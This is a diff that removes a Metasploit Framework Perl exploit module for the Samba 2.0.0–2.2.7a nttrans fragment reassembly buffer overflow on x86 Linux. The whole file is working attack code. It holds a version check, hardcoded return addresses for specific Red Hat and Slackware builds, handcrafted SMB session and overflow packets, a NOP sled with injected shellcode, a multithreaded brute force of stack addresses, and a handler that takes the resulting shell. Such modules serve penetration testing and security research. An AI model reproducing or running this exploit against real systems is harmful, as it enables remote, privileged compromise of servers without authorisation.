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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::samba_nttrans;
- use base 'Msf::Exploit';
- use strict;
- use Pex::Text;
-
- my $advanced =
- {
- 'BaseAddress' => [0, 'Specify a single base address to try'],
- 'StartAddress' => [0, 'Override the target start address'],
- 'StopAddress' => [0, 'Override the target stop address'],
- 'StepSize' => [0, 'Override the target step size'],
- 'DebugExploit' => [0, 'Enable development mode'],
- };
-
- my $info =
- {
- 'Name' => 'Samba Fragment Reassembly Overflow',
- 'Version' => '$Revision: 1.32 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'linux' ],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The samba port', 139],
- 'THREADS' => [0, 'DATA', 'The number of concurrent attempts', 25],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00",
- 'Keys' => ['+findsock'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits the buffer overflow found in Samba versions
- 2.0.0 to 2.2.7a. This particular module is capable of
- exploiting the bug on x86 Linux only. Flatline's sambash
- code was used as a reference for this module.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '6323'],
- ['MIL', '52'],
- ],
-
- 'Targets' =>
- [
- ["Samba Complete Brute Force", 0x08300000, 0x08000000, 1600, 0xbfffb8d0, 6200, 50],
- ["Samba 2.0 Brute Force", 0x08150000, 0x08100000, 1600, 0xbfffb8d0, 6200, 30],
- ["Samba 2.2 Brute Force", 0x08300000, 0x081c0000, 1600, 0xbfffb8d0, 6200, 30],
- ["Samba 2.0.6 / Red Hat 6.2", 0x081389c0, 0x08138300, 1600, 0xbfffb8d0, 6200, 1],
- ["Samba 2.0.7 / Red Hat 7.0", 0x0814bb40, 0x0814bb40, 1600, 0xbfffb8d0, 6200, 1],
- ["Samba 2.2.1 / Red Hat 7.2", 0x081f95c0, 0x081f95c0, 1600, 0xbfffb8d0, 6200, 1],
- ["Samba 2.2.5 / Red Hat 8.0", 0x08239e00, 0x08239e00, 1600, 0xbfffb8d0, 6200, 1],
- ["Samba 2.2.4 / Slackware 8.1", 0x081e1140, 0x081e1140, 1600, 0xbfffb8d0, 6200, 1],
- ],
-
- 'Keys' => ['samba'],
-
- 'DisclosureDate' => 'Jul 27 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- );
- if ($s->IsError) {
- $self->PrintLine("[*] Error creating socket: " . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- my $x = Pex::SMB->new({ 'Socket' => $s });
-
- $x->SMBNegotiate();
- if ($x->Error) {
- $self->PrintLine("[*] Error negotiating protocol");
- return $self->CheckCode('Generic');
- }
-
- $x->SMBSessionSetup();
- if ($x->Error) {
- $self->PrintLine("[*] Error setting up session");
- return $self->CheckCode('Generic');
- }
-
- my $version = $x->PeerNativeLM();
- $s->Close;
-
- if (! $version) {
- $self->PrintLine("[*] Could not determine the remote Samba version");
- return $self->CheckCode('Generic');
- }
-
- $self->PrintDebugLine(1, 'LanMan: '.$version);
- $self->PrintDebugLine(1, ' OpSys: '.$x->PeerNativeOS);
-
- if ($version =~ /samba\s+([01]|2\.0|2\.2\.[0-6]|2\.2\.7$)/i) {
- $self->PrintLine("[*] Target seems to running vulnerable version: $version");
- return $self->CheckCode('Appears');
- }
-
- $self->PrintLine("[*] Target does not seem to be vulnerable: $version");
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- $self->PrintLine("[*] Starting attack against target ".$target->[0]);
-
- # Advanced option processed
- if ($self->GetVar('BaseAddress')) {
- my $ret = eval($self->GetVar('BaseAddress')) + 0;
- $target->[1] = $target->[2] = $ret;
- }
-
- if ($self->GetVar('StartAddress')) {
- my $ret = eval($self->GetVar('StartAddress')) + 0;
- $target->[1] = $ret;
- $target->[2] = ($ret > $target->[2]) ? $ret : $target->[2];
- }
-
- if ($self->GetVar('StopAddress')) {
- my $ret = eval($self->GetVar('StopAddress')) + 0;
- $target->[2] = $ret;
- $target->[1] = ($ret > $target->[1]) ? $target->[2] : $target->[1];
- }
-
- if ($self->GetVar('StepSize')) {
- $target->[3] = eval($self->GetVar('StepSize')) + 0;
- }
-
- # Standard option processing
- if ($self->GetVar('THREADS')) {
- $target->[6] = $self->GetVar('THREADS')+0;
- }
-
- # More than one socket can't share the same source port :(
- if ($self->GetVar('CPORT') && $target->[6] > 1) {
- $self->PrintLine("[*] Socket reuse payloads cannot be used with this target setting");
- $self->PrintLine("[*] You can force this payload by setting the THREAD variable to 1");
- return;
- }
-
- # Using a array ref to track current target (array would kill us on memory)
- my $tstate = [$target->[1], $target->[2], $target->[3]];
- my $tcount = ($tstate->[0] == $tstate->[1]) ?
- 1 : int(($tstate->[0] - $tstate->[1]) / ($tstate->[2]));
-
- $target->[6] = $tcount < $target->[6] ? $tcount : $target->[6];
-
- $self->PrintLine("[*] Attack will use ".$target->[6]." threads with $tcount total attempts");
-
- my ($loopStart, $loopCount, $loopPrint) = (time(), 0, time());
- while ($tstate->[0] >= $tstate->[1] )
- {
- $self->PrintLine("");
-
- # Display a time estimate, but not too often
- if ($loopCount && $tcount > 1 && time() - $loopPrint > 10) {
- my $loopLeft = int(($tcount - ($loopCount * $target->[6])) / $target->[6]);
- if (time() - $loopStart > 1) {
- my $loopSpeed = $loopCount / (time() - $loopStart);
- my $timeLeft = sprintf("%.1f", int($loopLeft/$loopSpeed)/60);
- $loopPrint = time();
- if ($timeLeft ne '0.0') {
- $self->PrintLine("[*] Brute force should complete in approximately $timeLeft minutes");
- }
- }
- }
- $loopCount++;
-
- # If one of our connections fails, exit right away
- $self->PrintLine("[*] Establishing ".$target->[6]." connection(s) to the target...");
- my @conns = ();
- for my $idx (1 .. $target->[6])
- {
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- );
- if ($s->IsError) {
- $self->PrintLine("[*] Error creating socket $idx: " . $s->GetError);
- return;
- }
- $conns[$idx-1] = $s;
- }
-
- my $ReqSize = 12000;
-
- my $SetupSession =
- "\x00\x00\x00\x2e\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x08\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00".
- "\x00\x00";
-
- my $TreeConnect =
- "\x00\x00\x00\x3c\xff\x53\x4d\x42\x70\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00".
- "\x64\x00\x00\x00\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e".
- "\x6f\x62\x6f\x64\x79\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";
-
- my $TransRequest =
- "\x00\x00\x00\x49\xff\x53\x4d\x42\xa0\x00\x00\x00\x00\x08\x01\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xb5\x25".
- "\x64\x00\x01\x00\x13\x00\x00\x00".pack('V', $ReqSize)."\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
-
- $self->PrintLine("[*] --- Setting up the SMB session...");
- foreach my $s (@conns) { $s->Send($SetupSession) }
-
- $self->PrintLine("[*] --- Establishing tree connection...");
- foreach my $s (@conns) { $s->Send($TreeConnect) }
-
- $self->PrintLine("[*] --- Sending first nttrans component...");
- foreach my $s (@conns) { $s->Send($TransRequest) }
-
- my $tgtStart = $tstate->[0];
- foreach my $s (@conns)
- {
- last if $tstate->[0] < $tstate->[1];
-
- # This logic was based off sambash's code
- my $BaseAddr = $tstate->[0];
- my $StackAddr = $target->[4];
- my $TargAddr = $StackAddr - $BaseAddr;
- my $RetAddr = $StackAddr + $target->[5];
-
- # TargAddr is the integer that is added to the memcpy desintation
- # pointer that causes it to point to the top of the stack. Since
- # we are brute forcing this number, the buffer sizes below are
- # set to optimize reliability without slowing us down too much.
-
- my $pattern = Pex::Text::PatternCreate($ReqSize);
-
- substr($pattern, 0, 1024, $self->MakeNops(1024));
- substr($pattern, 1024, length($shellcode), $shellcode);
- substr($pattern, 2048, $ReqSize-2048, pack('V', $RetAddr) x (($ReqSize - 2048) / 4));
-
- my $Overflow =
- "\x00\x00\x30\x43\xff\x53\x4d\x42\xa1\x00\x00\x00\x00\x08\x01\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xb5\x25".
- "\x64\x00\x01\x00\x00\x00\x00\x00".
- pack('V', $ReqSize).
- "\x00\x00\x00\x00".
- pack('V', $ReqSize).
- "\x44\x00\x00\x00".
- pack('V', $TargAddr).
- "\x00\x00\x00\x00".
- "\x00\x00\x00\x00".
- "\x00\x00\x00\x00".
- $pattern;
-
- if ($self->GetVar('DebugExploit')) {
- print STDERR "[*] Press enter to send overflow string...\n";
- <STDIN>;
- }
-
- # Need to pad this out for the exploit to trigger...
- $Overflow .= "\x00" x (12359 - length($Overflow));
- $s->Send($Overflow);
-
- # Iterate to the next target in the list
- $tstate->[0] = $tstate->[0] - $tstate->[2];
- }
-
- $self->PrintLine(sprintf("[*] --- Completed range 0x%.8x:0x%.8x", $tgtStart, $tstate->[0]));
-
- foreach my $s (@conns) {
- if ($s->Socket->connected) {
- $self->Handler($s);
- $s->Close();
- }
- undef($s);
- }
-
- return if $self->GetVar('DebugExploit');
- }
- return;
- }
-
-